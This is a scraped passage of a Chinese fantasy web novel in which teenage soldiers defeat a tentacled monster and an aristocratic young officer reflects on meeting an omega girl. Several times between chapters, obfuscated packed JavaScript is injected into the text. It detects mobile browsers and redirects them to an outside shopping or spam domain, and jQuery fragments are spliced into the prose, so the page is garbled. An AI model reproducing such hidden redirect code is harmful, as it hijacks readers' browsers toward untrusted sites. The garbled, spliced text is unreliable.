;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726840|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝止了,“给我扛住!” 这时有少年挡在了那跟触须前,手中长刀出鞘,那刀刃明晃晃如一片水光。他丝毫没有被眼前的景象动摇,当尖叫着救命的警察哭喊着袭向他时,他动作优美的错身避让,手中长刀毫不犹豫的刺了下去。 ——是在山坡上她遇到的那个少年。他此刻的身姿,毫无疑问是战士的身姿。 黎晓背后冷飕飕的发寒,她知道他的做法才是正确的,可大概因为她认得被控制的那个警察——那人去年和她一道参加军事考核,还是一个彻头彻尾的新丁——她无法不从内心排斥这样的场景。 “……黎晓!”这时她听到了成铭的声音,他说,“——受不了你就别跟过来!” 黎晓猛的回过神来。 她和成铭便去同主队汇合。 大肚子警司是去年的考官之一,他居然还认得他们,看到他们时他面露欣慰的同时气恼不已,“谁让你们过来的!你们他妈的还是高中生!” “预备役第十三军中士,黎晓。”“预备役第七军中士,成铭——前来报到。” “滚到后面去,随便捡一根炮管轰吧!” “导力炮没用。”这时黎晓听到一个清冽的声音。 她抬头望去,竟见那少年肩上扛着个人回来了。她猛的睁大眼睛,忙上前把那人接下——那是先前被魔兽控制了的警察,黎晓以为那少年会毫不犹豫的杀死他,但他居然没有。 那人已昏迷了,身上还带着焦臭味——那焦臭味显然是遍布他全身的黏液被烤干时的味道,他裸|露的手背和脸颊上还带着烧伤,但比起被杀死显然要好太多。 大肚子警司看向那少年的目光,也明显有些缓和了。 少年看到黎晓,一顿,那声音低而清澈,如夜晚冰下流淌的清泉,“皇家近卫师团预备役,少尉,陆清源。” 大肚子警司再度恼火了,“你他妈费什么话!” 少年便说,“魔兽身上的凝胶能抵消大部分导力攻击,只有火和锐器能穿透,导力炮会被弹开。” “你他妈不早说!” 这时有不远处有红发碧眼的少年抻着脖子插嘴抱怨,“……我们早说也得您肯听啊。” 大肚子警司稍有些不自在,却依旧强硬的,“我们是在山林里,不可能用火对付这种怪物。” ——黎晓看着空中挥舞着的粗大触须,她可以想象,它一旦着火,必定会将整个山林引燃。让警司并不是出于脸面否决陆少尉的提议,他的疑虑是正确的。 这时成铭已挑选好了武器,他挥动着手中长刀,说,“那就用刀吧。把这东西砍碎了,再一片片烧掉。” 对待这种能把一切它碰到的活物变成自己的傀儡、甚至身体的一部分的魔兽——“烧光”是最好的战术。 ——成铭的想法虽然粗暴简单,但对一支战队而言,却又很踏实可行。 但黎晓在安顿伤员的时候,依稀产生了一个不那么可行但令她很在意的想法——控制系的魔兽,其实还有另一个弱点,不,应该说眼前这个体形庞大的怪物,有不止一个弱点。 这时陆少尉提醒成铭,“凝胶对砍击也有应力,会比平时费力。” 成铭显然不喜欢这少年身上的气场,他目光凶恶的回应,“那就比平时多用力些。” 两个少年的目光交汇了——陆少尉显然不太明白,成铭为何会跟他较劲起来。但黎晓明白。她莫名有些介怀,可她尚未品味出这心情到底是什么,魔兽粗壮的触须便轰然砸下——他们的对话被迫中止了。 10. 天授之人(五) 镇压队的队形被彻底冲散了,队员们分散各处,无人敢近前直接对抗。就算是还没吓破胆的人,也都散乱而不成章法的躲在远处或者树后射击——而陆少尉的判断很准确,导力炮的光束就算偶尔击中了魔兽,也都被魔兽身上裹着的那层凝胶消解了。 无力逃走的伤员们挣扎哀嚎着求生,而怪物挥动着触须袭向他们,已准备好享用大餐。 这支失去斗志的警队已经彻底无法作战了。 让警司终于下令撤退,而后他抄起马头刀,向着魔兽冲了过去——他需要拖住魔兽争取时间,让医护队员能及时抢下伤员。 那钝重的大刀劈断了木桶粗的触须,但断掉的触须落地后立刻如活鱼般扭动跳起,从背后向他袭去。 ——那魔兽居然能控制断肢。 让警司并未察觉到异变,黎晓察觉到了却来不及提醒他。眼看那触须便要撞上他的后背,一旁忽的刺出一柄长刀,将那触须轻易的洞穿了。蓝色的电弧从刀尖上闪过,那触须终于变回尸肉该有的模样,软塌下来。 刀上燃起了火,只一眨眼便将软掉的尸肉烤得焦糊。陆少尉一挥长刀,将那碍事的黑炭甩落在地上,重又提刀向着怪物杀了过去。 让警司心有余悸的看着陆少尉的背影,很快也跟了上去。 是的,电——黎晓想——控制系魔兽大都是通过操控生物电,来控制生物的□□。因此只要施加扰乱电流,就能暂时解除魔兽的控制。陆少尉之前救下被控制的警员,应该就是用了这个方法。 但是……那魔兽已经堆砌起足够庞大的身躯,要瓦解它的身体,需要的电流太大了。而附近并没有输电设施,纯靠导力转换电流,恐怕在场所有人的导力回路加起来都不够。 何况它身上的凝胶太麻烦了,应该会阻住大部分电流——就算要电击它,也得首先穿透凝胶,将电极刺入它的身体…… 黎晓胡乱的思索着,她有些痛恨自己优等生式按部就班的思考方式——明明只要判断出这方法行不通就可以丢开了,可她居然还跟检查试卷似的,特地在脑中论证了一遍它为何行不通。 她将伤员扶到树后,提起刀再度回到月光照耀的中庭,寻找下一个伤员。 手里的刀粘腻腻的,恐怕是手心出汗了——这种小事原本无关紧要,但心神太乱,居然在意起来。 成铭正在和魔兽战斗——就算是打魔兽,他身上也带着股子逞凶斗狠的劲儿,就像一匹撕咬着战斗的孤狼。比起陆少尉那简洁到近乎冷峻战斗方式,他野兽般的凶狠显然更激怒魔兽,他明显承受了更多的攻击。 但黎晓看得出来,他享受战斗,并且游刃有余。 在成铭、陆少尉和让警司出手之后,这只轻易击溃了整支战队的魔兽,便没有再占到一分便宜。 直到此刻黎晓才品味出,她为何会对陆少尉格外介怀。 ——因为这个人才是成铭真正的竞争对手。而她一直以来都只是一个追赶者,哪怕表面看来他们已经势均力敌了,她也没有哪怕一次成功激发起成铭内心的竞争意识。但陆少尉轻易就做到了。 他们才是实力对等的竞争者。 就如此刻,他们都毫不犹豫的冲上去对抗魔兽,而她却还握着刀思维混乱的站在这里。 这时她听到有人在喊救命。 杂念在一瞬间被抛开了,她循声搜索着伤员,很快便发现——魔兽粘腻的的肉足前,有伤员被地上的乱藤和横木绊住了脚。那人离魔兽太近了,成铭他们分不开身去救他,而其他人则离得太远了。 黎晓握紧刀冲了上去。 不能斩断,她想。她得抢出伤员,没时间处理蠕动的断肉,万一像让警司一样被偷袭就糟糕了。最好用刀背打。 目的是击退那根前伸的肉足,所以得用重击。要将导力厚叠在刀背上,全力挥出。 重击之后,可能会被正前方的触须袭击——她飞快的确认了一下全局——不要紧,成铭所处的位置刚好可以接应到他们,只要卡准时机,他就能拦下那根触须。 ——她丝毫没有疑虑过,万一成铭没能及时接应她会怎么样。因为那是成铭,她知道他一定会做到的。 她看准时机,脚下用力,加速冲过了混战区。 锋利的刀刃准确的斩断了地上的藤蔓,她把伤员从地上拽起来,推到了自己背后。 将导力凝聚刀刀背上的同时,她的双目专注的在探出的肉足上寻找最佳的着力点和击打角度。在某个瞬间,一切轨迹都和她脑海中等待着的那个场景重合了,她于是毫不犹豫的挥下了手中长刀。 那带着强烈应力的沉重击打感透过刀身传到她的掌心,而后是手臂。 那感觉虽不熟悉,但也不算全然陌生——会分泌凝胶的魔兽在山区十分罕见,高一军训的时候,那个以戏耍学生为乐的变态教官,曾特地弄了一只来给他们下马威,当然用他的话说叫“见世面”——黎晓刚巧打过。 她将身体的重心压在左脚上,借助全身的力量将应力强顶了回去。 那凝胶覆盖的肉足,终于像果冻般被击弹了回去。 黎晓趁机扶起伤员,全力逃跑。 高处抡起的那根触须,果然就在这时挥了下来。 而成铭也一如她所预期,及时迎上来,强硬的将那触须拦腰斩断了。 断掉的触须飞出了很远——大概离母体太远了,落地后它毫无头绪的蠕动着,很快便被附近的老兵乱刀斩碎了。 但剩下的那半根触须末端在断掉的瞬间裂开、伸长——先是一分为二,而后是四、八。八根裹满凝胶的触须鞭子般向他们挥来。 黎晓果断的把伤员推了出去,回身迎击。 她和成铭没有商议、甚至都没有眼神交流,便各自迎向对方背后的触须。 而后脊背靠住了脊背,他们各自握刀,再度向前,挥刀斩向自己眼前的触须。 八根触须同时被他们的重击击退,弹向了半空。 危机化解后的短暂间隙中,成铭挡在了黎晓和魔兽之间,而黎晓则再度捞起伤员,全力将他带出了战斗区域。 安置好伤员后,黎晓体内沸腾的热血依旧没有平息。 头脑匪夷所思的专注和高效,很多早先模糊的想法在这个瞬间清晰得宛如高空俯瞰。 视觉——黎晓想。尽管很多魔兽能通过风的流向、大地的震颤,甚至人体和环境间温度、导力密度的差异,就判断出周围的布局,但这只魔兽显然不能——它的身躯由无数尸块混沌堆叠而成,恐怕在组成这身体时,它只能保证肉块之间导力回路的贯通,根本无法确保身体机能的一致性。 除视觉之外的一切感知模式,对这种混沌的身体而言都过于细腻复杂了。 因此必定有一双眼睛在高处观察着一切,指使它该如何行动。 而就在刚刚,那魔兽已自己告诉他们,那双眼睛究竟在哪儿了。 ——伤员被绊住的地点是它的盲点,她和成铭被拦下的地方靠近它视野的中央,飞出去的触须落下的地方对它而言被什么东西遮住了……而陆少尉并非没有吸引住它的仇恨,他之所以不像成铭那样被特别针对,是因为他恰好处在它视野的边缘。 这种级别的几何题,对黎晓而言简直太简单了。几乎就在罗列完已知数的同时,黎晓就已望向了答案所在的位置。 短暂的搜寻之后……她终于在怪物马赛克一样的臃肿的乌贼脑袋上,找到了她想找的东西。 黎晓从地上拔出一柄长刀——她其实是个双持者,双手持刀时打起来流畅得跟跳舞似的,那平衡感令她更自在。但战斗这种事讲究的不是灵动优美,而是杀伤力。她的力气只有集中在一把刀上时才有足够的杀伤力,所以很早便放弃了双持。 她掂了掂双手的刀。制式武器的规格都是固定的,左右两手的平衡感很完美。 于是她双手握紧了长刀,向着战场飞奔而去。 “成铭,送我上去——”她喊。 成铭必然想过斥退她,可在看到她的时候,他便放弃了争辩。 ——他们了解彼此就像了解自己的半身。成铭甚至都没有问她要“上去”做什么,就已知道该将她送到哪儿去了。他其实早已找到了“眼睛”的部位,但他分不开身,也没有能够分得开身的人可以支援他。 黎晓轻灵的跃起,双足踏落在了他手中长刀的刀背上。 成铭便将全部力气都厚叠在她脚下,用力的旋身将她送了上去。 她高高的飞了起来。 魔兽似乎察觉到了危险,一条又一条的触须从身上分|裂出来,向着黎晓挥去。黎晓舞动手中的长刀,借助刀身的惯性凌空调整身体的姿势,如舞蹈般简洁优美、分秒不爽的避开了所有攻击,高高的飞过了魔兽的头顶,飞到它的触须也触碰不到的高处。 在极高点,她的身体短暂的悬停了一瞬。 她便利用这稍纵即逝的时机,将两柄长刀合二为一——帝国制造享誉全球,素有性价比之王的美誉,能被帝国陆军选作常规装备的冷兵器必须自带十八般武艺,一般说来除了砍人它起码还得能切菜、砍树、挖坑、凿矿……这长刀也一样附带机关,两柄刀刀背可以拧合,将长刀变成双头矛。 黎晓握住双头矛,俯冲下去。 在穿过了触须的丛林之后,她眼前就只剩那怪物硕大臃肿的脑袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726841|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——天穹四野似是涌起了乌云,然而圆月所在的中天依旧明澈无云。月光唯独照耀这战场,视野反而更清晰了——那怪物隐藏在尸块中的眼睛,已原形毕露。 此刻它终于明白自己真的被黎晓发现了,眼睑四周如流沙般内陷,想要将自己的弱点包进体内。 但已经太迟了,黎晓用力掷出了双头矛。 锋利的长刀瞬间刺穿了怪物体表的凝胶,准确的钉入它的瞳孔,那怪物全身的动作都僵住了片刻。 这时黎晓的身体也终于落了下来,她握住刀柄,借助全身的力量,用力的将长刀更深的刺入。 她显然刺中要害了,怪物全身的触须都疯狂挥动起来。 黎晓并不认为刺瞎它的眼睛就能一劳永逸的结束战斗,毕竟这怪物被切掉的断肢都能弹起来攻击,恐怕就算把它切成碎块,每块碎块儿也依旧还是活的。失去眼睛并不会剥夺它的战斗力,只能让它变得稍微好对付些。 但这一次,她判断失误了。 ——那怪物尖啸了。 如婴儿啼哭一般尖亮的声音一瞬间贯穿了耳膜,直接侵入了意识——这怪物的叫声里有巨大的精神威慑力,黎晓几乎立刻就丧失了对身体的控制能力,如一片羽毛般被声波远远的震飞出去。 飞出去的时候她愤恨的想——该死的omega体质! 食物链底端的性别天生精神抗性弱,omega不但可能被alpha摄情,还比旁人更容易被魔兽精神震慑。 她勉强转动脖子,寻找成铭的身影——尽管她知道这么想很可耻,可是如果成铭也被震慑住了,她觉得自己心里也许能稍好受些。 但这时她听到了成铭的声音,“我在这里……笨蛋。” ——他及时跳起来,接住了她。 黎晓松懈了片刻,心想,好吧……比起他也被震慑住了,她确实更喜欢眼下的展开,就让她在他怀里稍微靠一会儿吧。 但落地之后,成铭便立刻将她放下了。他挡在她的面前,双手握紧了长刀。 怪物的触须正凌厉带风的从高处砸落下来——八根并排,如一堵密不透风的墙,想要闪避已经来不及了。 它显然对黎晓充满了仇恨,提前记忆了她的位置,倾尽全力来剿灭她。 黎晓望着成铭的身影,心想就只有成铭才会在这种处境下,依旧眼神凶狠的拒绝掉一切沮丧、认输的情绪,带着“赢”的觉悟毫无犹豫的选择对抗吧。 ……如果不喜欢他是那么容易就能做到的事,她肯定会去试啊——喜欢他是一件那么痛苦的事,谁不知道喜欢alpha更轻松啊!可是……怎么可能会不喜欢他啊。 这时他们听到陆少尉喊,“安德烈——” 那触须终于砸下了。 黎晓只听到“砰”的一声巨响——那触须并没有砸落到他们身上,而是仿佛撞上了一堵透明的墙壁般,在中途轰然弹回了。 那个全程都不知在忙什么的红发碧眼的少年打了个响指,毫无身处修罗战场的自觉,语调轻松的回答,“设置完毕,结界开启——不过你还是悠着点儿,别太……” 他的话尚未说完,空中乌云四合,视野骤然阴暗下来。不知是不是错觉,黎晓依稀听到了空气中满溢的躁动的电荷互相摩擦的声音。下一个瞬间,紫色的惊雷如瀑布般自中天倾泻而下,瞬间便将失去月照的漆黑暗夜映得明如白昼。 电流飞泻的声音响彻整座山林,借助这电流,他们终于看到了——那怪物确实已被透明的墙壁围住了。咆哮奔涌的紫色雷电收束在那墙壁的范围之内,顺着插在怪物眼睛上的那柄双头矛灌注进怪物体内,流遍了它的全身。它那尸山组成的肉|体,飞快的在这电流中崩塌了。 ——陆少尉并不是碰巧站在魔兽的视野,也并非碰巧没有吸引到魔兽的仇恨,他只是将必要的战斗压制在最低限度罢了。 因为他在准备一场盛大的雷电——盛大到只需一击就能彻底结束整个战斗的雷电。 黎晓认定在场所有人的导力回路加起来也制造不出这样的电流,她错了——陆少尉一个人的导力回路,就已足够做到。 甚至他拖延时间,也许都不是因为准备这么多电很费力,而是因为这样的电流一旦击中四周的树木,很容易引起山火,他需要等待同伴设置好导力防护,以限制电流出现的范围,避免造成额外的损害。 所有出现在这个场合的人,包括她和成铭,都是不必要的。 ——陆少尉和他的同伴两人,便足以镇压这一年出现在洛珈山上的这场兽潮。 这便是帝都来的alpha们所拥有的真正实力。 —神所宠爱之人完— 11. 天授之人(六) 六 雷击几乎将魔兽整个儿都烤焦了,凝胶糊掉的焦臭气令山林里空气污浊。 但这恐怕是在场所有人在这一天里嗅到的,最令人安心的空气了。 不少人抱着武器直接瘫坐在地上,但更多的人依旧□□僵硬的维持着别扭的姿势——他们都被魔兽的尖啸声震慑住了,直到此刻还没舒缓过来。 黎晓以为自己是omega才会被震慑的想法是错的,这魔兽的精神力级别实在太高了,事实上就连让警司都有短暂的心悸——除了成铭和帝都来的两位alpha,在场所有人都或多或少的受到了影响。 此刻危机解除了,这山林里安静得诡异——历年的兽潮都是历练新兵的好机会,这一场仗恐怕是在场许多人的初阵。初阵便遇到这种级别的怪物,很多人的人生观世界观都遭受了毁灭性的打击。他们大部分人精神状况都很萎靡。 让警司显然注意到了这种状况,但他并未急于鼓舞士气,只语气沉着的命令士官整队——这种状况下的沉着和一板一眼,本身就透着残酷和严苛。但所谓的部队和作战,原本就从来都不是温情和体贴的。 震慑很快便解除了,黎晓站起身,领命前去集合。 其余的人也都拄着武器站起来,安静的听命归队。这支看上去已被从精神层面彻底击溃的队伍,没有任何一个人脱队。 陆少尉正在魔兽的尸骸中寻找什么东西,偶然间回头看见此处的情形,他似乎流露出些惊讶——他的惊讶令黎晓感到难受。 从小到大她一直都是同龄人中的佼佼者,但她基本从来都没有自己是精英的意识,因为她是跟成铭一起长大的。如果你连自己身边的人都赢不了,一般说来你都不会认为这是因为对方太强了,而只会认为这是因为自己太普通。尽管这会让那些被你击败的,意识到你们之间悬殊的实力差距的人气愤不平,但站在你的角度来说,事实就是如此。 帝国的版图太大了,达瓦城是嘉洛林区的十七分之一,而嘉洛林区只是全帝国的三十六分之一。黎晓从来都知道,天外有天,人外有人。 可是她没有预料到,随便两个偶然遇到的外省同龄人,竟就比她强这么多。 她想,嘉洛林区的这支部队,恐怕同样远没有帝都的军队素质优良、训练得当吧。陆少尉难道是惊讶于这支队伍的弱小? 自己出生和长大的地方被看轻,是很令人自尊心受挫的。 但黎晓什么也没有说——因为实力的差距就这么清清楚楚的摆在这里,人不能拒绝承认事实。 追上去就好了。她想。 她看了一眼成铭,成铭脸上几乎都没什么表情,但黎晓知道——所谓的面无表情只是自尊心作祟而已,他心里越是震动,表情就只会越平淡。看模样,他肯定受到了不小的刺激。 但是成铭的话,应该很快就能追上去吧,黎晓想。 他们列队站好,等着让警司训话,但让警司依旧什么也不说。 他们便站着军姿,看着陆少尉处置魔兽的残骸。 这少年一看就出身优越,但面对着焦糊的尸肉堆,他居然没有流露出任何畏难的情绪。他很快便找到自己在找的东西——那是一只半人多高的独眼乌贼。硕大的眼睛几乎占据了它整个脑袋,已被烤熟的触须展开像一朵紫红色的小裙子,单看它此刻的模样,其实是很萌很好吃的。 啊不,她并没有想吃它,毕竟它打起来太恶心了,黎晓想,她只是在客观评价它的视觉效果而已。 陆少尉握住它眼睛上的双头矛,轻松的切开了它的脑袋,从里面拽出一颗导力水晶。 那是黎晓见过的最大的导力水晶,它足足有一颗排球那么大。在月光下闪着昂贵的深蓝色宝石光芒。 做完这一切,陆少尉才真正的放松下来——是的,放松。黎晓直到此刻才猛的意识到,自己放松得太早了。明明考核时她就能记住——在将导力水晶从魔兽体内拽出之前,战斗都不算真正结束。可这次的魔兽太难对付了,她居然在魔兽被击倒后就疲惫的松懈下来,分神去在乎旁的事了。 陆少尉很快便拽着乌贼的尸体回来了。 “陆清源归队。”他说。 让警司目光复杂的看着他,正要说些什么,忽然——“你带这玩意儿过来干嘛?” 陆少尉稍有些意外和无措,“啊……呃,这东西很好吃。我想我们都打了一夜了……” “……” 短暂的骚乱之后,让警司向陆少尉敬了个军礼——他并没有让陆少尉入列,而是选择了感谢。 “我也是少尉军衔,”他说,“我们平级,你们不必听我的指挥。感谢你们的救援。” 陆少尉沉默片刻,尽管红发碧眼的少年不悦的提醒他,“他指挥了,我们听命守桥了!”他还是同样回以军礼。 这少年聪明剔透,他几乎立刻就明白了——这支队伍选择了承认败仗,也选择了尊严。如果让警司让他们入列,便等于承认今夜他受自己指挥,是这支镇压队的一员。那么他的功劳便也是镇压队的功劳,他的指挥失误和这支队伍令人失望的表现就都能掩盖过去。但让警司拒绝了。 黎晓挺胸抬头,她在这一夜头一次感到精神舒畅。 让警司没有选择在野外训话。 拒绝陆少尉入队之后,他很快便命令镇压队全员收整战场,准备撤离。 这一次的兽潮足足有超过一百只魔兽入侵,光从魔兽身上挖出的导力水晶就装满了四支收纳箱。其中不乏B级C级的强大魔兽,还出现了独眼章鱼这种几乎不可能出现在山区的未知种。 这种规模在近十几年里都很罕见。 不过所谓的兽潮一向如此,自百年前“大兽潮”以来,还从未让人类抓到过规律。 下山的路上,让警司问陆少尉,“皇家近卫师团里每个人都像你们这么强吗?” 而陆少尉回答,“……我们只是今年新入队的预备役。” 黎晓就走在他们的身后,她为这个回答感到震动——原来像陆少尉这么天资优越的同龄人,在帝都还有很多。 她偷偷看了成铭一眼,这一次成铭是真的毫无动摇。她想,也对,以成铭的性格,必定是在了解了一切的基础之上,做出要报考第二军事学院的决定。他有充分的心理准备。而她已报考了第二军事学院,才骤然意识到她日后的竞争对手们究竟强大到什么地步。也难怪成铭会那么生气——他恐怕察觉到了她的天真无知,认定她是出于毫不负责的理由草率做出了影响一生的决定吧。 可是,她也是有自己的觉悟的。 让警司又问道,“那么,帝都今年入队的预备役,都像你们这么强吗?” 陆少尉和他的同伴相视一笑,诚实的回答,“不。我想我们两个应该格外强,我是以首席成绩入队的。” 他的语气依旧谦逊平淡,就只是在陈述一个再简单不过的事实而已。若不是他的同伴紧跟着他的话强调,“我是第七席,但论打……战斗资质,我比第二席强得多。”黎晓几乎误以为他只是帝都预备役军官中,再普通不过的一员。 让警司点了点头,令成铭和黎晓出列,“他们是今年嘉洛林区的第一名和第四名。” 这四个少年表情便各异的被推到了一起。 陆少尉主动向成铭搭话,“陆清源。” 出乎黎晓的预料,成铭居然平静的回应了,“成铭。” 黎晓不知自己该不该去打断少年们宿命般的相遇——她知道成铭必定早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她正说着,安德烈忽然指了指他的头发,“你的头花要掉下来了。”他才要告诉她准确位置,手腕忽的就被抓住的。 陆少尉握着安德烈的手腕,明明依旧温和微笑着,但一看就知道他很想跟安德烈“谈谈”。 成铭则强硬又不着痕迹的挤到他们中间。两人配合,几乎立刻就把他们给分开了。 黎晓隐约察觉到气氛不对。她不想自作多情,可成铭就走在她的身旁。他出现的时机令她不能不去想,他不会是介怀了吧。 月色之下少年身姿隽秀,冷辉勾勒出的面容线条干净得令人心悸。他并没有说话,大概也不知该说什么。然而他其实也什么都不必说——他们已经太久没有并肩而行了。 黎晓摸了摸头发,想悄悄的把头花摘下来。打了那么久,早先胡乱盘起的头发恐怕早就凌乱散落了,希望不要太难看了,她想——干脆明天去剪掉好了。 她掩饰着摸了好一会儿也没摸到。 这时成铭伸手过来,他身上冷冽的气息袭近她的鼻端,有那么一瞬间她以为他要抚摸她的脸颊。 片刻后,他的手从她头发上拿开。他们的目光交汇了,大概立刻便意识到自己举止的暧昧和彼此可能有的误读,他们都有那么一瞬的怔愣。而后成铭移开了目光,伸开手心。他的手心里躺着一支残破了的通草花。 黎晓拾起那支通草花,悄悄的凑到鼻端嗅着。 陆少尉恰在此时望过来,黎晓已来不及掩饰,脸上霎时便红透了。 陆少尉似乎也感到局促,那局促令他不那么亲民的深紫色眼眸霎时变得柔和起来。但他似乎压根就不懂得什么叫做善意的回避,依旧毫不躲闪的微笑着凝视着她的眼睛,忽然就说,“我们交换通讯地址吧。” 12. 天授之人(七) 七 陆清源带上护目眼镜,打开便携电脑。 达瓦警厅的效率很高,镇压兽潮的简报已发送到他的邮箱。 他没有急着阅读,而是打开发件箱,先给自己的母亲写邮件问安,告诉她这一天自己的经历和见闻。 “我们在上午十点来到达瓦,导航地图说,入城口和达瓦市政府只有四公里的距离,但我们驱车走了足足两个小时。因为这里盘山路太多了。很多路段都是一面悬崖、一面深谷,还有高达数十米的桥梁横架在山谷间,入目所见全是绵延起伏的大山。” “我们路过一座桥梁时正在下雨,我居然亲眼看见云雾是如何从潮湿的山林中腾起。年幼时您教我背诵的诗文里有‘云腾致雨,露结为霜’两句,这景色和那歌谣、和您诵读它的嗓音一样优美。” “虽然还在冬天,这里却一点都不冷,我们在临水的山谷里看到了盛开的山桃花。这里的冬天与其说冬天,更像是提前到来的春天。雨停之后天气更温暖,女性们都身着盛装出门庆祝节日。年长者青睐锦缎的马面裙,而年轻的女孩子则更喜欢飘逸鲜艳的襦裙,只加一件厚绒的云肩御寒。古典的绣品和唐装是这里的特产,我从中为您挑选了几件礼物,希望会是您喜欢的风格。” “这里大多数聚落都在山谷里,但也有例外。记得您曾提过的晨星高中吗?它就坐落在珞珈山的侧峰上。可惜我们办完手续就已经临近傍晚了,没有闲暇去拜访这座知名的学院。” “不过市政厅的官员告诉我,去年冬天的统考,嘉洛林区的首席和次席都出身于晨星学院,他们都不是alpha。这种事只可能发生在嘉洛林区吧。听说这里的人们居然真的禁绝了未成年人性别筛查,几乎所有孩子都直到十七岁的统一体检,才知道自己的性别。在帝都这简直是不可想象的事。” “另外,没想到我们到达瓦的第一天就遇到了兽潮……” 他不假思索的敲击着键盘,写到这里的时候却停了下来,不知该不该提及他同那女孩儿的相遇。 安德烈洗完了澡,正兴致勃勃的研究着身上的亵衣,“这是男式的唐装吗?我可以带走一件吗?” 他太吵了。陆清源揉了揉额头,告诉他,“这只是常见的酒店睡衣,不能带走。另外,把你的领口拉好,不然就去前台另开一间房。” “别这样,这可是平民酒店的标准间!标准间诶!我长这么大还是头一次用到带着‘标准’两个字的东西。而且这个房间里居然有两张床,那当然就要睡两个人。空着一张床,怎么可能获得完整的入住体验!” “我不介意。而你可以找人拼房。” “哎?”安德烈似乎被点醒了,双眼流露出前所未有的认真和期待,“真的可以吗?达瓦的民风这么开放吗?不同性别也可以吗——我是说男女不同的那种!” “……”陆清源果断拿起电话,“喂,前台吗?请给我接110。” 这里有人想住拘留室。 安德烈终于肯乖乖的按照正常方式穿衣服,把无需暴露的胸肌遮盖好。 他擦着头发,明显还想同陆清源搭话。 “你在给她发好友申请?” “没有。”陆清源说。 他很清楚安德烈问的是谁——从他暗示安德烈黎晓个omega起,安德烈就一直非常在意。 当然在黎晓面前他掩饰得很好,当陆清源提议交换通信地址,而黎晓明显表露出不解、抗拒,但不知该如何不让他感到尴尬的表达自己的感受时,安德烈充分发挥了自己不擅长读空气但极擅长交际的种族天赋,及时附议,“对啊,你们肯定也报考了二军大吧?等到秋天我们就是校友了,说不定还会分到一个班。”黎晓几乎立刻就释然了。 虽然拿到了黎晓的通讯地址,但陆清源终于意识到自己所面临的困境—— 他是一个帝都的alpha,而她则是一个嘉洛林的omega。 他已对她心生亲近,而她恐怕还没有。 如果有alpha对omega解释,他无故索要她的通信地址是因为他们日后会成为同学,而不是因为他另有企图。他绝对认为他在说谎,而她却会信以为真。 在陆清源的成长过程中,除了自己的母亲之外,他和omega最大的交集就是舞会——因为家族的交情而在舞会上被引见相识,出于社交规则邀请对方跳一支舞,和她亲切友好但不会传递多余信号的适度交谈……他从来没有过和omega像正常的朋友、同学一样结识、相处的经历。 而她在十七岁之前甚至都不知道自己是个omega,她读着公立学校,循序渐进的和人结识、熟知,她的同学里肯定有不止一个alpha,其中一些跟她很合得来,另一些则令她敬而远之。对她而言,除了极端情况外,alpha没有值得特别在意和防范之处。 这意味着,如果她对一个alpha没有异心,只想和他成为朋友,那么她有很大概率会发自真心的只把他看作普通朋友。 而他则很可能无法精确的判断出,那种微妙的距离感究竟意指何处——因为在他的成长环境中,alpha和omega之间如果互相没有多余的企图,便会保持界线分明的距离,绝不会妄想和对方发展并维持任何一种熟人以上、恋人以下的关系。 但……如果是她这样的omega,如果是她的愿望,那么他愿意克服某些本能,和她维持距离适当的朋友关系。 ——以omega之身获得如许实力,她值得这样的尊重。 何况,如果她真的报考了二军大,那么如无意外,这个秋天他们必定会成为同学和战友。 他过早的追求,很可能会彻底吞噬掉她追索已久的光明未来。 ……就如他的母亲曾经所经历过的那样。 他在心底轻轻叹了口气,十八年来第一次品味到性别与出身带给他的烦恼和无奈。 他重新开始敲击键盘,继续写完给母亲的信。 “另外,没想到我们到达瓦的第一天就遇到了兽潮,当晚就把主要任务做完了——我原本还希望能多逗留两天,仔细欣赏达瓦的风景。但这样也好,我能尽快赶回帝都见到您了。” “祝您节日快乐,身体安康。” 他按下了发送键,系统很快提示对方收到了邮件。 他默默的等了一会儿,便关掉了邮箱。 安德烈疑惑的提醒,“周夫人还在线啊——你不等她的回信吗?” 陆清源平静的回答,“不会有回信的。” 大家都是一样的……他说这句话时并不是在安慰安德烈,他们确实是一样的。只不过他和安德烈最大的不同在于,如果他认为他必须得去,那么哪怕皇帝陛下亲自下令禁止他去探望自己的母亲,他也依旧会去。 他打开内网登录自己的ID,向黎晓和成铭发送了好友申请。 ——通过军事考核,获得军人身份之后,他们便会分到一个内网ID。它绑定导力信息,唯一并且不可更改,除持有者死亡外不会被注销。是一种保密级别和优先级别都高于普通身份认证的有效证件。 陆清源向黎晓索要的“通讯地址”就是这个ID,所以当时黎晓直接懵掉了——毕竟他们才刚刚互通了姓名。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 